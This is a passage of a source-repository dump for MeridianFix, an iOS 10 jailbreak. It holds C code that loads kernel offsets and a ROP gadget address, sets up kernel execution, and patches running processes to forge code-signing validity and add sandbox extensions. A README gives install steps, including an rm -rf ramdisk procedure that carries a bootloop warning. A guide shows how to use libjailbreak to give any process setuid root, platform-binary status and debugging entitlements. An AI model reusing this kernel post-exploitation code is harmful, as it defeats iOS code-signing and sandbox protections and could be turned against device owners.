| kernel_base = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelBase")), kCFStringEncodingUTF8), NULL, 16); 66 | kernel_slide = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelSlide")), kCFStringEncodingUTF8), NULL, 16); 67 | DEBUGLOG("kern base: %llx, slide: %llx", kernel_base, kernel_slide); 68 | 69 | offset_kernel_task = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelTask")), kCFStringEncodingUTF8), NULL, 16) + kernel_slide; 70 | DEBUGLOG("offset_kernel_task: %llx", offset_kernel_task); 71 | offset_zonemap = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("ZoneMap")), kCFStringEncodingUTF8), NULL, 16) + kernel_slide; 72 | DEBUGLOG("offset_zonemap: %llx", offset_zonemap); 73 | 74 | offset_add_ret_gadget = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("AddGadgetRet")), kCFStringEncodingUTF8), NULL, 16); 75 | DEBUGLOG("offset_add_ret_gadget: %llx", offset_add_ret_gadget); 76 | offset_osboolean_true = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSBooleanTrue")), kCFStringEncodingUTF8), NULL, 16); 77 | DEBUGLOG("offset_osboolean_true: %llx", offset_osboolean_true); 78 | offset_osboolean_false = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSBooleanFalse")), kCFStringEncodingUTF8), NULL, 16); 79 | DEBUGLOG("offset_osboolean_false: %llx", offset_osboolean_false); 80 | offset_osunserializexml = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("OSUnserializeXML")), kCFStringEncodingUTF8), NULL, 16); 81 | DEBUGLOG("offset_osunserializexml: %llx", offset_osunserializexml); 82 | offset_smalloc = strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("Smalloc")), kCFStringEncodingUTF8), NULL, 16); 83 | DEBUGLOG("offset_smalloc: %llx", offset_smalloc); 84 | 85 | CFRelease(offsets); 86 | found_offsets = true; 87 | 88 | if (found_offsets && init_kexecute()) { 89 | DEBUGLOG("Initialized successfully!"); 90 | initialized = true; 91 | } else { 92 | DEBUGLOG("Failed to initialize kexecute :("); 93 | } 94 | } 95 | 96 | __attribute__((destructor)) 97 | void dtor() { 98 | DEBUGLOG("Terminating kexecute"); 99 | kern_utils_cleanup(); 100 | term_kexecute(); 101 | } 102 | -------------------------------------------------------------------------------- /Meridian/unrestrict/sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | // see https://stek29.rocks/2018/01/26/sandbox.html 3 | 4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc); 5 | uint64_t extension_create_file(const char* path, uint64_t nextptr); 6 | int has_file_extension(uint64_t sb, const char* path); 7 | -------------------------------------------------------------------------------- /Meridian/unrestrict/unrestrict.c: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | #import "kern_utils.h" 7 | #import "common.h" 8 | 9 | FILE *log_file = NULL; 10 | 11 | #define CS_OPS_STATUS 0 /* return status */ 12 | int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize); 13 | 14 | bool MSunrestrict0(mach_port_t task) { 15 | if (!initialized) return true; 16 | 17 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; 18 | bzero(pathbuf, sizeof(pathbuf)); 19 | 20 | pid_t pid; 21 | if ( (pid_for_task(task, &pid) != 0) || pid <= 1) { 22 | return true; 23 | } 24 | proc_pidpath(pid, pathbuf, sizeof(pathbuf)); 25 | 26 | if (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0) { 27 | return true; 28 | } 29 | 30 | DEBUGLOG("%s: (%d) fixing up", pathbuf, pid); 31 | fixup(pid); 32 | 33 | return true; 34 | } 35 | 36 | bool MSrevalidate0(mach_port_t task) { 37 | if (!initialized) return true; 38 | 39 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; 40 | bzero(pathbuf, sizeof(pathbuf)); 41 | 42 | pid_t pid; 43 | if ( (pid_for_task(task, &pid) != 0) || pid <= 1) { 44 | return true; 45 | } 46 | proc_pidpath(pid, pathbuf, sizeof(pathbuf)); 47 | 48 | if (strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0) { 49 | return true; 50 | } 51 | 52 | uint32_t status; 53 | if (csops(pid, CS_OPS_STATUS, &status, sizeof(status)) < 0) 54 | return true; 55 | 56 | if ((status & CS_VALID) == 0) { 57 | uint64_t proc = proc_find(pid); 58 | if (proc == 0) { 59 | DEBUGLOG("failed to find proc for pid %d!", pid); 60 | return true; 61 | } 62 | 63 | fixup_cs_valid(proc); 64 | } 65 | 66 | return true; 67 | } 68 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MeridianFix 2 | Meridian is an iOS 10.x Jailbreak for all 64-bit devices. 3 | 4 | MeridianFix is a compilation of builds of Meridian with an updated bootstrap. 5 | 6 | - Uses Cydia Substrate instead of Substitute for tweak injection and compatibility (substrate build only) 7 | - Installs Zebra v1.1.36 instead of Cydia on initial installation 8 | - Fixes bootstrap issues with vanilla Meridian (mostly) 9 | 10 | App version (ipa): https://github.com/LukeZGD/MeridianFix/releases 11 | 12 | Web version (TNS): https://lukezgd.github.io/MeridianFix 13 | 14 | ## Notes 15 | - For iOS 10.3.2-10.3.3, use the **substrate** build of the web or app version. 16 | - For iOS 10.0-10.3.1, use the **substitute** build of the web or app version. 17 | - The substrate build does not work properly below 10.3.2, so substitute build is provided for these versions. 18 | - If your device is not an A10(X) device (iPhone 7, 7 Plus, or A10X iPad Pros), it is recommended to **not** use MeridianFix. 19 | - Use [TNS Sockport](https://lukezgd.github.io/tns-sockport) instead. 20 | 21 | ## Known Issues 22 | - Tweaks like FlipControlCenter and potentially other tweaks not working 23 | - Compatibility may vary between substitute and substrate builds, substrate should have better compatibility 24 | - No fix/workaround at this time 25 | 26 | ## For previously jailbroken devices 27 | If your device was previously jailbroken with Meridian (or other jailbreak tools) and would like to switch to MeridianFix, you may try to do the following steps: 28 | 29 | - Note: Replace `mount_apfs` with `mount_hfs` on iOS 10.0-10.2.1 30 | - WARNING: There is a chance for your device to bootloop after doing this procedure. Proceed at your own risk 31 | - A safer version of this is to remove the folders `/Applications/Cydia.app` and `/meridian` while jailbroken, using Filza, SSH, or other jailbroken methods. 32 | - Even better to just dump blobs using [Legacy iOS Kit](https://github.com/LukeZGD/Legacy-iOS-Kit) and restore using [turdus merula](https://sep.lol) instead. 33 | 34 | 1. Run [Legacy iOS Kit](https://github.com/LukeZGD/Legacy-iOS-Kit), go to Other Utilities -> SSH Ramdisk 35 | 1. Follow instructions. Once in the SSH Ramdisk, select Connect to SSH 36 | 1. Run the following commands: 37 | ``` 38 | /sbin/mount_apfs /dev/disk0s1s1 /mnt1 39 | rm -rf /mnt1/Applications/Cydia.app /mnt1/meridian 40 | sync 41 | /sbin/umount /mnt1 42 | sync 43 | exit 44 | ``` 45 | 4. Select Reboot Device 46 | 5. Once device reboots, jailbreak with MeridianFix instead 47 | 48 | ## Building 49 | 50 | Clone repo, open Xcode project, target your device (or generic), and **make sure ldid is in $PATH**. /usr/local/bin, /usr/bin, /bin, ~/bin, whatever, make sure it's present. You'll also need tar, but I'd like to assume everyone has that already ;) 51 | -------------------------------------------------------------------------------- /Working_with_libjailbreak.md: -------------------------------------------------------------------------------- 1 | ## Working with Meridian & libjailbreak 2 | 3 | If your binary to tweak requires setuid0, or other entitlements/empowerments, you may need to make calls to Jailbreakd, which handles entitling of processes. This can be done via libjailbreak, a library bundled by default with Meridian. 4 | 5 | ### What do these empowerments include? 6 | - Fixing setuid 7 | - Modifying csflags 8 | - Adding get-task-allow and skip-library-validation entitlements in the MACF label 9 | - Breaking out of some sandbox restrictions 10 | - Marking your binary as a 'platform binary' 11 | 12 | ### Usage 13 | 14 | libjailbreak implements 2 calls which can be used to achieve this: 15 | - `void jb_oneshot_fix_setuid_now(pid_t pid)` - for fixing setuid 16 | - `void jb_oneshot_entitle_now(pid_t pid)` - for entitling 17 | 18 | The pid (process ID) provided to each call can be your own, or can be that of another process. 19 | Protip: you can find your own PID using the `getpid()` function. 20 | 21 | **Note:** for the setuid call to work properly, your binary (or the process you're entitlting) must have the setuid flag set. You can set this with `chmod +s `. 22 | 23 | ### Examples 24 | 25 | ```c 26 | void call_libjailbreak() { 27 | // open a handle to libjailbreak 28 | void *handle = dlopen("/usr/lib/libjailbreak.dylib", RTLD_LAZY); 29 | if (!handle) { 30 | printf("Err: %s \n", dlerror()); 31 | printf("unable to find libjailbreak.dylib \n"); 32 | return; 33 | } 34 | 35 | typedef void (*libjb_call_ptr_t)(pid_t pid); 36 | 37 | // grab pointers to the functions we want to call 38 | libjb_call_ptr_t setuid_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_fix_setuid_now"); 39 | libjb_call_ptr_t entitle_ptr = (libjb_call_ptr_t)dlsym(handle, "jb_oneshot_entitle_now"); 40 | 41 | // check for any errors 42 | const char *dlsym_error = dlerror(); 43 | if (dlsym_error) { 44 | printf("encountered dlsym error: %s \n", dlsym_error); 45 | return; 46 | } 47 | 48 | // call them! 49 | setuid_ptr(getpid()); 50 | entitle_ptr(getpid()); 51 | } 52 | ``` 53 | 54 | **Note:** libjailbreak calls are blocking, and code execution will not return until jailbreakd has fully processed your requests. 55 | 56 | You can see a live action example of this in our cydo binary, here: https://github.com/MidnightTeam/cydo/blob/master/cydo.c#L6 57 | 58 | --------------------------------------------------------------------------------